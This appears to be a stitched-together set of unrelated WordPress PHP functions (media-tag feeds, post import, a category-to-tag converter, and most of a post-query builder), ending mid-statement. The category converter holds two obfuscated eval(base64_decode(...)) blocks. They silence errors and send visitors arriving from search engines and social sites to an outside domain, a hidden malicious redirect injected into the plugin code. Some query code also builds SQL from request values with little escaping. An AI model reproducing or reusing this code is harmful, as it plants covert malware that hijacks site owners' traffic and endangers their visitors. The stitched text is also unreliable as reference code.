function add_mediatags_alternate_link() { global $wp_version; $mediatag_rss_feed = get_option('mediatag_rss_feed', 'yes'); if (!$mediatag_rss_feed || $mediatag_rss_feed != "yes") { return; } $mediatag_var = get_query_var(MEDIA_TAGS_QUERYVAR); //echo "mediatag_var<pre>"; print_r($mediatag_var); echo "</pre>"; if ($mediatag_var) { if (version_compare($wp_version, '3.0', '<')) { $mediatag_term = is_term($mediatag_var, MEDIA_TAGS_TAXONOMY); } else { $mediatag_term = term_exists($mediatag_var, MEDIA_TAGS_TAXONOMY); } if ($mediatag_term) { $mediatag_term = get_term($mediatag_term['term_id'], MEDIA_TAGS_TAXONOMY); $feed_title = get_bloginfo('name') . " » " . __('Media-Tags RSS Feed', MEDIA_TAGS_I18N_DOMAIN) . " » " . $mediatag_term->name; $feed_link = get_mediatag_link($mediatag_term->term_id, true); if ($feed_link) { ?> <link id="MediaTagsRSS" rel="alternate" type="application/rss+xml" title="<?php echo $feed_title; ?> " href="<?php echo $feed_link; ?> " /> <?php } } } }
public function get_feature_price($term_slug) { if (!is_term($term_slug, 'soya-range')) { return; } if (soya_term_has_children($term_slug)) { return; } // $this->feature_price = get_post_meta($this->_features_id, $this->get_feature_meta_key($term_slug), true); }
public function import_post_exists($idnumbers) { global $wpdb; $post_id = FALSE; $post_ids = $tt_ids = array(); foreach ($idnumbers as $idnum) { $tt_ids[] = get_term((int) is_term((string) $idnum['id']), $idnum['type']); } if (count($tt_ids)) { foreach ($tt_ids as $k => $tt_id) { if (isset($tt_id->term_taxonomy_id)) { $tt_ids[$k] = (int) $tt_id->term_taxonomy_id; } else { unset($tt_ids[$k]); } } if (!count($tt_ids)) { return FALSE; } $post_ids = $wpdb->get_col("SELECT object_id, COUNT(*) AS hits\n\t\t\t\tFROM {$wpdb->term_relationships}\n\t\t\t\tWHERE term_taxonomy_id IN ('" . implode('\',\'', $tt_ids) . "')\n\t\t\t\tGROUP BY object_id\n\t\t\t\tORDER BY hits DESC\n\t\t\t\tLIMIT 100"); if (1 < count($post_ids)) { // de-index the duplicate posts // TODO: what if they have comments? What if others have linked to them? $this->import_deindex_post($post_ids); // usleep( 250000 ); // give the database a moment to settle } foreach ($post_ids as $post_id) { if (get_post($post_id)) { return $post_id; } } } return FALSE; }
function convert_categories() { global $wpdb; if ((!isset($_POST['cats_to_convert']) || !is_array($_POST['cats_to_convert'])) && empty($this->categories_to_convert)) { ?> <div class="narrow"> <p><?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); printf(__('Uh, oh. Something didn’t work. Please <a href="%s">try again</a>.'), 'admin.php?import=wp-cat2tag'); ?> </p> </div> <?php eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9")); return; } if (empty($this->categories_to_convert)) { $this->categories_to_convert = $_POST['cats_to_convert']; } $hier = _get_term_hierarchy('category'); $hybrid_cats = $clear_parents = $parents = false; $clean_term_cache = $clean_cat_cache = array(); $default_cat = get_option('default_category'); echo '<ul>'; foreach ((array) $this->categories_to_convert as $cat_id) { $cat_id = (int) $cat_id; if (!$this->_category_exists($cat_id)) { echo '<li>' . sprintf(__('Category %s doesn’t exist!'), $cat_id) . "</li>\n"; } else { $category =& get_category($cat_id); echo '<li>' . sprintf(__('Converting category <strong>%s</strong> ... '), $category->name); // If the category is the default, leave category in place and create tag. if ($default_cat == $category->term_id) { if (!($id = is_term($category->slug, 'post_tag'))) { $id = wp_insert_term($category->name, 'post_tag', array('slug' => $category->slug)); } $id = $id['term_taxonomy_id']; $posts = get_objects_in_term($category->term_id, 'category'); $term_order = 0; foreach ($posts as $post) { $values[] = $wpdb->prepare("(%d, %d, %d)", $post, $id, $term_order); clean_post_cache($post); } if ($values) { $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $category->count, $category->term_id)); } echo __('Converted successfully.') . "</li>\n"; continue; } // if tag already exists, add it to all posts in the category if ($tag_ttid = $wpdb->get_var($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'post_tag'", $category->term_id))) { $objects_ids = get_objects_in_term($category->term_id, 'category'); $tag_ttid = (int) $tag_ttid; $term_order = 0; foreach ($objects_ids as $object_id) { $values[] = $wpdb->prepare("(%d, %d, %d)", $object_id, $tag_ttid, $term_order); } if ($values) { $wpdb->query("INSERT INTO {$wpdb->term_relationships} (object_id, term_taxonomy_id, term_order) VALUES " . join(',', $values) . " ON DUPLICATE KEY UPDATE term_order = VALUES(term_order)"); $count = $wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM {$wpdb->term_relationships} WHERE term_taxonomy_id = %d", $tag_ttid)); $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET count = %d WHERE term_id = %d AND taxonomy = 'post_tag'", $count, $category->term_id)); } echo __('Tag added to all posts in this category.') . " *</li>\n"; $hybrid_cats = true; $clean_term_cache[] = $category->term_id; $clean_cat_cache[] = $category->term_id; continue; } $tt_ids = $wpdb->get_col($wpdb->prepare("SELECT term_taxonomy_id FROM {$wpdb->term_taxonomy} WHERE term_id = %d AND taxonomy = 'category'", $category->term_id)); if ($tt_ids) { $posts = $wpdb->get_col("SELECT object_id FROM {$wpdb->term_relationships} WHERE term_taxonomy_id IN (" . join(',', $tt_ids) . ") GROUP BY object_id"); foreach ((array) $posts as $post) { clean_post_cache($post); } } // Change the category to a tag. $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET taxonomy = 'post_tag' WHERE term_id = %d AND taxonomy = 'category'", $category->term_id)); // Set all parents to 0 (root-level) if their parent was the converted tag $parents = $wpdb->query($wpdb->prepare("UPDATE {$wpdb->term_taxonomy} SET parent = 0 WHERE parent = %d AND taxonomy = 'category'", $category->term_id)); if ($parents) { $clear_parents = true; } $clean_cat_cache[] = $category->term_id; echo __('Converted successfully.') . "</li>\n"; } } echo '</ul>'; if (!empty($clean_term_cache)) { $clean_term_cache = array_unique(array_values($clean_term_cache)); clean_term_cache($clean_term_cache, 'post_tag'); } if (!empty($clean_cat_cache)) { $clean_cat_cache = array_unique(array_values($clean_cat_cache)); clean_term_cache($clean_cat_cache, 'category'); } if ($clear_parents) { delete_option('category_children'); } if ($hybrid_cats) { echo '<p>' . sprintf(__('* This category is also a tag. The converter has added that tag to all posts currently in the category. If you want to remove it, please confirm that all tags were added successfully, then delete it from the <a href="%s">Manage Categories</a> page.'), 'categories.php') . '</p>'; } echo '<p>' . sprintf(__('We’re all done here, but you can always <a href="%s">convert more</a>.'), 'admin.php?import=wp-cat2tag') . '</p>'; }
function &get_posts() { global $wpdb, $pagenow, $user_ID; do_action_ref_array('pre_get_posts', array(&$this)); // Shorthand. $q =& $this->query_vars; $q = $this->fill_query_vars($q); // First let's clear some variables $distinct = ''; $whichcat = ''; $whichauthor = ''; $whichpage = ''; $result = ''; $where = ''; $limits = ''; $join = ''; $search = ''; $groupby = ''; if (!isset($q['post_type'])) { $q['post_type'] = 'post'; } $post_type = $q['post_type']; if (!isset($q['posts_per_page']) || $q['posts_per_page'] == 0) { $q['posts_per_page'] = get_option('posts_per_page'); } if (isset($q['showposts']) && $q['showposts']) { $q['showposts'] = (int) $q['showposts']; $q['posts_per_page'] = $q['showposts']; } if (isset($q['posts_per_archive_page']) && $q['posts_per_archive_page'] != 0 && ($this->is_archive || $this->is_search)) { $q['posts_per_page'] = $q['posts_per_archive_page']; } if (!isset($q['nopaging'])) { if ($q['posts_per_page'] == -1) { $q['nopaging'] = true; } else { $q['nopaging'] = false; } } if ($this->is_feed) { $q['posts_per_page'] = get_option('posts_per_rss'); $q['nopaging'] = false; } $q['posts_per_page'] = (int) $q['posts_per_page']; if ($q['posts_per_page'] < -1) { $q['posts_per_page'] = abs($q['posts_per_page']); } else { if ($q['posts_per_page'] == 0) { $q['posts_per_page'] = 1; } } if ($this->is_home && (empty($this->query) || $q['preview'] == 'true') && 'page' == get_option('show_on_front') && get_option('page_on_front')) { $this->is_page = true; $this->is_home = false; $q['page_id'] = get_option('page_on_front'); } if (isset($q['page'])) { $q['page'] = trim($q['page'], '/'); $q['page'] = (int) $q['page']; $q['page'] = abs($q['page']); } $add_hours = intval(get_option('gmt_offset')); $add_minutes = intval(60 * (get_option('gmt_offset') - $add_hours)); $wp_posts_post_date_field = "post_date"; // "DATE_ADD(post_date, INTERVAL '$add_hours:$add_minutes' HOUR_MINUTE)"; // If a month is specified in the querystring, load that month if ($q['m']) { $q['m'] = '' . preg_replace('|[^0-9]|', '', $q['m']); $where .= ' AND YEAR(post_date)=' . substr($q['m'], 0, 4); if (strlen($q['m']) > 5) { $where .= ' AND MONTH(post_date)=' . substr($q['m'], 4, 2); } if (strlen($q['m']) > 7) { $where .= ' AND DAYOFMONTH(post_date)=' . substr($q['m'], 6, 2); } if (strlen($q['m']) > 9) { $where .= ' AND HOUR(post_date)=' . substr($q['m'], 8, 2); } if (strlen($q['m']) > 11) { $where .= ' AND MINUTE(post_date)=' . substr($q['m'], 10, 2); } if (strlen($q['m']) > 13) { $where .= ' AND SECOND(post_date)=' . substr($q['m'], 12, 2); } } if ('' !== $q['hour']) { $where .= " AND HOUR(post_date)='" . $q['hour'] . "'"; } if ('' !== $q['minute']) { $where .= " AND MINUTE(post_date)='" . $q['minute'] . "'"; } if ('' !== $q['second']) { $where .= " AND SECOND(post_date)='" . $q['second'] . "'"; } if ($q['year']) { $where .= " AND YEAR(post_date)='" . $q['year'] . "'"; } if ($q['monthnum']) { $where .= " AND MONTH(post_date)='" . $q['monthnum'] . "'"; } if ($q['day']) { $where .= " AND DAYOFMONTH(post_date)='" . $q['day'] . "'"; } if ('' != $q['name']) { $q['name'] = sanitize_title($q['name']); $where .= " AND post_name = '" . $q['name'] . "'"; } else { if ('' != $q['pagename']) { if (isset($this->queried_object_id)) { $reqpage = $this->queried_object_id; } else { $reqpage = get_page_by_path($q['pagename']); if (!empty($reqpage)) { $reqpage = $reqpage->ID; } else { $reqpage = 0; } } if ('page' != get_option('show_on_front') || $reqpage != get_option('page_for_posts')) { $q['pagename'] = str_replace('%2F', '/', urlencode(urldecode($q['pagename']))); $page_paths = '/' . trim($q['pagename'], '/'); $q['pagename'] = sanitize_title(basename($page_paths)); $q['name'] = $q['pagename']; $where .= " AND (ID = '{$reqpage}')"; } } elseif ('' != $q['attachment']) { $q['attachment'] = str_replace('%2F', '/', urlencode(urldecode($q['attachment']))); $attach_paths = '/' . trim($q['attachment'], '/'); $q['attachment'] = sanitize_title(basename($attach_paths)); $q['name'] = $q['attachment']; $where .= " AND post_name = '" . $q['attachment'] . "'"; } } if ($q['w']) { $where .= " AND WEEK(post_date, 1)='" . $q['w'] . "'"; } if (intval($q['comments_popup'])) { $q['p'] = intval($q['comments_popup']); } // If an attachment is requested by number, let it supercede any post number. if ($q['attachment_id']) { $q['p'] = $q['attachment_id']; } // If a post number is specified, load that post if ($q['p']) { $where = ' AND ID = ' . $q['p']; } if ($q['page_id']) { if ('page' != get_option('show_on_front') || $q['page_id'] != get_option('page_for_posts')) { $q['p'] = $q['page_id']; $where = ' AND ID = ' . $q['page_id']; } } // If a search pattern is specified, load the posts that match if (!empty($q['s'])) { // added slashes screw with quote grouping when done early, so done later $q['s'] = stripslashes($q['s']); if ($q['sentence']) { $q['search_terms'] = array($q['s']); } else { preg_match_all('/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $q[s], $matches); $q['search_terms'] = array_map(create_function('$a', 'return trim($a, "\\"\'\\n\\r ");'), $matches[0]); } $n = $q['exact'] ? '' : '%'; $searchand = ''; foreach ((array) $q['search_terms'] as $term) { $term = addslashes_gpc($term); $search .= "{$searchand}((post_title LIKE '{$n}{$term}{$n}') OR (post_content LIKE '{$n}{$term}{$n}'))"; $searchand = ' AND '; } $term = addslashes_gpc($q['s']); if (!$q['sentence'] && count($q['search_terms']) > 1 && $q['search_terms'][0] != $q['s']) { $search .= " OR (post_title LIKE '{$n}{$term}{$n}') OR (post_content LIKE '{$n}{$term}{$n}')"; } if (!empty($search)) { $search = " AND ({$search}) "; } } // Category stuff if (empty($q['cat']) || $q['cat'] == '0' || $this->is_singular) { $whichcat = ''; } else { $q['cat'] = '' . urldecode($q['cat']) . ''; $q['cat'] = addslashes_gpc($q['cat']); $cat_array = preg_split('/[,\\s]+/', $q['cat']); foreach ($cat_array as $cat) { $cat = intval($cat); $in = $cat > 0; $cat = abs($cat); if ($in) { $q['category__in'][] = $cat; $q['category__in'] = array_merge($q['category__in'], get_term_children($cat, 'category')); } else { $q['category__not_in'][] = $cat; $q['category__not_in'] = array_merge($q['category__not_in'], get_term_children($cat, 'category')); } } } if (!empty($q['category__in']) || !empty($q['category__not_in']) || !empty($q['category__and'])) { $groupby = "{$wpdb->posts}.ID"; } if (!empty($q['category__in'])) { $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'category' "; $include_cats = "'" . implode("', '", $q['category__in']) . "'"; $whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_cats}) "; } if (!empty($q['category__not_in'])) { $ids = get_objects_in_term($q['category__not_in'], 'category'); if (is_wp_error($ids)) { return $ids; } if (is_array($ids) && count($ids > 0)) { $out_posts = "'" . implode("', '", $ids) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ({$out_posts})"; } } if (!empty($q['category__and'])) { $count = 0; foreach ($q['category__and'] as $category_and) { $join .= " LEFT JOIN {$wpdb->term_relationships} AS tr{$count} ON ({$wpdb->posts}.ID = tr{$count}.object_id) LEFT JOIN {$wpdb->term_taxonomy} AS tt{$count} ON (tr{$count}.term_taxonomy_id = tt{$count}.term_taxonomy_id) "; $whichcat .= " AND tt{$count}.term_id = '{$category_and}' "; $count++; } } // Category stuff for nice URLs if ('' != $q['category_name']) { $reqcat = get_category_by_path($q['category_name']); $q['category_name'] = str_replace('%2F', '/', urlencode(urldecode($q['category_name']))); $cat_paths = '/' . trim($q['category_name'], '/'); $q['category_name'] = sanitize_title(basename($cat_paths)); $cat_paths = '/' . trim(urldecode($q['category_name']), '/'); $q['category_name'] = sanitize_title(basename($cat_paths)); $cat_paths = explode('/', $cat_paths); $cat_path = ''; foreach ((array) $cat_paths as $pathdir) { $cat_path .= ($pathdir != '' ? '/' : '') . sanitize_title($pathdir); } //if we don't match the entire hierarchy fallback on just matching the nicename if (empty($reqcat)) { $reqcat = get_category_by_path($q['category_name'], false); } if (!empty($reqcat)) { $reqcat = $reqcat->term_id; } else { $reqcat = 0; } $q['cat'] = $reqcat; $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat = " AND {$wpdb->term_taxonomy}.taxonomy = 'category' "; $in_cats = array($q['cat']); $in_cats = array_merge($in_cats, get_term_children($q['cat'], 'category')); $in_cats = "'" . implode("', '", $in_cats) . "'"; $whichcat .= "AND {$wpdb->term_taxonomy}.term_id IN ({$in_cats})"; $groupby = "{$wpdb->posts}.ID"; } // Tags if ('' != $q['tag']) { if (strpos($q['tag'], ',') !== false) { $tags = preg_split('/[,\\s]+/', $q['tag']); foreach ((array) $tags as $tag) { $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); $q['tag_slug__in'][] = $tag; } } else { if (preg_match('/[+\\s]+/', $q['tag'])) { $tags = preg_split('/[+\\s]+/', $q['tag']); foreach ((array) $tags as $tag) { $tag = sanitize_term_field('slug', $tag, 0, 'post_tag', 'db'); $q['tag_slug__and'][] = $tag; } } else { $q['tag'] = sanitize_term_field('slug', $q['tag'], 0, 'post_tag', 'db'); $reqtag = is_term($q['tag'], 'post_tag'); if (!empty($reqtag)) { $reqtag = $reqtag['term_id']; } else { $reqtag = 0; } $q['tag_id'] = $reqtag; $q['tag__in'][] = $reqtag; } } } if (!empty($q['tag__in']) || !empty($q['tag__not_in']) || !empty($q['tag__and']) || !empty($q['tag_slug__in']) || !empty($q['tag_slug__and'])) { $groupby = "{$wpdb->posts}.ID"; } if (!empty($q['tag__in'])) { $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' "; $include_tags = "'" . implode("', '", $q['tag__in']) . "'"; $whichcat .= " AND {$wpdb->term_taxonomy}.term_id IN ({$include_tags}) "; $reqtag = is_term($q['tag__in'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } if (!empty($q['tag_slug__in'])) { $join = " LEFT JOIN {$wpdb->term_relationships} ON ({$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id) LEFT JOIN {$wpdb->term_taxonomy} ON ({$wpdb->term_relationships}.term_taxonomy_id = {$wpdb->term_taxonomy}.term_taxonomy_id) LEFT JOIN {$wpdb->terms} ON ({$wpdb->term_taxonomy}.term_id = {$wpdb->terms}.term_id) "; $whichcat .= " AND {$wpdb->term_taxonomy}.taxonomy = 'post_tag' "; $include_tags = "'" . implode("', '", $q['tag_slug__in']) . "'"; $whichcat .= " AND {$wpdb->terms}.slug IN ({$include_tags}) "; $reqtag = is_term($q['tag_slug__in'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } if (!empty($q['tag__not_in'])) { $ids = get_objects_in_term($q['tag__not_in'], 'post_tag'); if (is_array($ids) && count($ids > 0)) { $out_posts = "'" . implode("', '", $ids) . "'"; $whichcat .= " AND {$wpdb->posts}.ID NOT IN ({$out_posts})"; } } if (!empty($q['tag__and'])) { $count = 0; foreach ($q['tag__and'] as $tag_and) { $join .= " LEFT JOIN {$wpdb->term_relationships} AS tr{$count} ON ({$wpdb->posts}.ID = tr{$count}.object_id) LEFT JOIN {$wpdb->term_taxonomy} AS tt{$count} ON (tr{$count}.term_taxonomy_id = tt{$count}.term_taxonomy_id) "; $whichcat .= " AND tt{$count}.term_id = '{$tag_and}' "; $count++; } $reqtag = is_term($q['tag__and'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } if (!empty($q['tag_slug__and'])) { $count = 0; foreach ($q['tag_slug__and'] as $tag_and) { $join .= " LEFT JOIN {$wpdb->term_relationships} AS tr{$count} ON ({$wpdb->posts}.ID = tr{$count}.object_id) LEFT JOIN {$wpdb->term_taxonomy} AS tt{$count} ON (tr{$count}.term_taxonomy_id = tt{$count}.term_taxonomy_id) LEFT JOIN {$wpdb->terms} AS term{$count} ON (tt{$count}.term_id = term{$count}.term_id) "; $whichcat .= " AND term{$count}.slug = '{$tag_and}' "; $count++; } $reqtag = is_term($q['tag_slug__and'][0], 'post_tag'); if (!empty($reqtag)) { $q['tag_id'] = $reqtag['term_id']; } } // Author/user stuff if (empty($q['author']) || $q['author'] == '0') { $whichauthor = ''; } else { $q['author'] = '' . urldecode($q['author']) . ''; $q['author'] = addslashes_gpc($q['author']); if (strpos($q['author'], '-') !== false) { $eq = '!='; $andor = 'AND'; $q['author'] = explode('-', $q['author']); $q['author'] = '' . intval($q['author'][1]); } else { $eq = '='; $andor = 'OR'; } $author_array = preg_split('/[,\\s]+/', $q['author']); $whichauthor .= ' AND (post_author ' . $eq . ' ' . intval($author_array[0]); for ($i = 1; $i < count($author_array); $i = $i + 1) { $whichauthor .= ' ' . $andor . ' post_author ' . $eq . ' ' . intval($author_array[$i]); } $whichauthor .= ')'; } // Author stuff for nice URLs if ('' != $q['author_name']) { if (strpos($q['author_name'], '/') !== false) { $q['author_name'] = explode('/', $q['author_name']); if ($q['author_name'][count($q['author_name']) - 1]) { $q['author_name'] = $q['author_name'][count($q['author_name']) - 1]; #no trailing slash } else { $q['author_name'] = $q['author_name'][count($q['author_name']) - 2]; #there was a trailling slash } } $q['author_name'] = sanitize_title($q['author_name']); $q['author'] = $wpdb->get_var("SELECT ID FROM {$wpdb->users} WHERE user_nicename='" . $q['author_name'] . "'"); $whichauthor .= ' AND (post_author = ' . intval($q['author']) . ')'; } $where .= $search . $whichcat . $whichauthor; if (empty($q['order']) || strtoupper($q['order']) != 'ASC' && strtoupper($q['order']) != 'DESC') { $q['order'] = 'DESC'; } // Order by if (empty($q['orderby'])) { $q['orderby'] = 'post_date ' . $q['order']; } else { // Used to filter values $allowed_keys = array('author', 'date', 'category', 'title', 'modified', 'menu_order'); $q['orderby'] = urldecode($q['orderby']); $q['orderby'] = addslashes_gpc($q['orderby']); $orderby_array = explode(' ', $q['orderby']); if (empty($orderby_array)) { $orderby_array[] = $q['orderby']; } $q['orderby'] = ''; for ($i = 0; $i < count($orderby_array); $i++) { // Only allow certain values for safety $orderby = $orderby_array[$i]; if ('menu_order' != $orderby) { $orderby = 'post_' . $orderby; } if (in_array($orderby_array[$i], $allowed_keys)) { $q['orderby'] .= ($i == 0 ? '' : ',') . "{$orderby} {$q['order']}"; } } if (empty($q['orderby'])) { $q['orderby'] = 'post_date ' . $q['order']; } } if ($this->is_attachment) { $where .= " AND post_type = 'attachment'"; } elseif ($this->is_page) { $where .= " AND post_type = 'page'"; } elseif ($this->is_single) { $where .= " AND post_type = 'post'"; } else { $where .= " AND post_type = '{$post_type}'"; } if (isset($q['post_status']) && '' != $q['post_status']) { $q_status = explode(',', $q['post_status']); $r_status = array(); if (in_array('draft', $q_status)) { $r_status[] = "post_status = 'draft'"; } if (in_array('pending', $q_status)) { $r_status[] = "post_status = 'pending'"; } if (in_array('future', $q_status)) { $r_status[] = "post_status = 'future'"; } if (in_array('inherit', $q_status)) { $r_status[] = "post_status = 'inherit'"; } if (in_array('private', $q_status)) { $r_status[] = "post_status = 'private'"; } if (in_array('publish', $q_status)) { $r_status[] = "post_status = 'publish'"; } if (!empty($r_status)) { $where .= " AND (" . join(' OR ', $r_status) . ")"; } } elseif (!$this->is_singular) { $where .= " AND (post_status = 'publish'"; if (is_admin()) { $where .= " OR post_status = 'future' OR post_status = 'draft' OR post_status = 'pending'"; } if (is_user_logged_in()) { $where .= current_user_can("read_private_{$post_type}s") ? " OR post_status = 'private'" : " OR post_author = {$user_ID} AND post_status = 'private'"; } $where .= ')'; } // Apply filters on where and join prior to paging so that any // manipulations to them are reflected in the paging by day queries. $where = apply_filters('posts_where', $where); $join = apply_filters('posts_join', $join); // Paging if (empty($q['nopaging']) && !$this->is_singular) { $page = abs(intval($q['paged'])); if (empty($page)) { $page = 1; } if (empty($q['offset'])) { $pgstrt = ''; $pgstrt = (intval($page) - 1) * $q['posts_per_page'] . ', '; $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; } else { // we're ignoring $page and using 'offset' $q['offset'] = abs(intval($q['offset'])); $pgstrt = $q['offset'] . ', '; $limits = 'LIMIT ' . $pgstrt . $q['posts_per_page']; } } // Comments feeds if ($this->is_comment_feed && ($this->is_archive || $this->is_search || !$this->is_singular)) { if ($this->is_archive || $this->is_search) { $cjoin = "LEFT JOIN {$wpdb->posts} ON ({$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID) {$join} "; $cwhere = "WHERE comment_approved = '1' {$where}"; $cgroupby = "GROUP BY {$wpdb->comments}.comment_id"; } else { // Other non singular e.g. front $cjoin = "LEFT JOIN {$wpdb->posts} ON ( {$wpdb->comments}.comment_post_ID = {$wpdb->posts}.ID )"; $cwhere = "WHERE post_status = 'publish' AND comment_approved = '1'"; $cgroupby = ''; } $cjoin = apply_filters('comment_feed_join', $cjoin); $cwhere = apply_filters('comment_feed_where', $cwhere); $cgroupby = apply_filters('comment_feed_groupby', $cgroupby); $this->comments = (array) $wpdb->get_results("SELECT {$distinct} {$wpdb->comments}.* FROM {$wpdb->comments} {$cjoin} {$cwhere} {$cgroupby} ORDER BY comment_date_gmt DESC LIMIT " . get_option('posts_per_rss')); $this->comment_count = count($this->comments); $post_ids = array(); foreach ($this->comments as $comment) { $post_ids[] = (int) $comment->comment_post_ID; } $post_ids = join(',', $post_ids); $join = ''; if ($post_ids) { $where = "AND {$wpdb->posts}.ID IN ({$post_ids}) "; } else { $where = "AND 0"; } } // Apply post-paging filters on where and join. Only plugins that // manipulate paging queries should use these hooks. // Announce current selection parameters. For use by caching plugins. do_action('posts_selection', $where . $groupby . $q['orderby'] . $limits . $join); $where = apply_filters('posts_where_paged', $where); $groupby = apply_filters('posts_groupby', $groupby); if (!empty($groupby)) { $groupby = 'GROUP BY ' . $groupby; } $join = apply_filters('posts_join_paged', $join); $orderby = apply_filters('posts_orderby', $q['orderby']); if (!empty($orderby)) { $orderby = 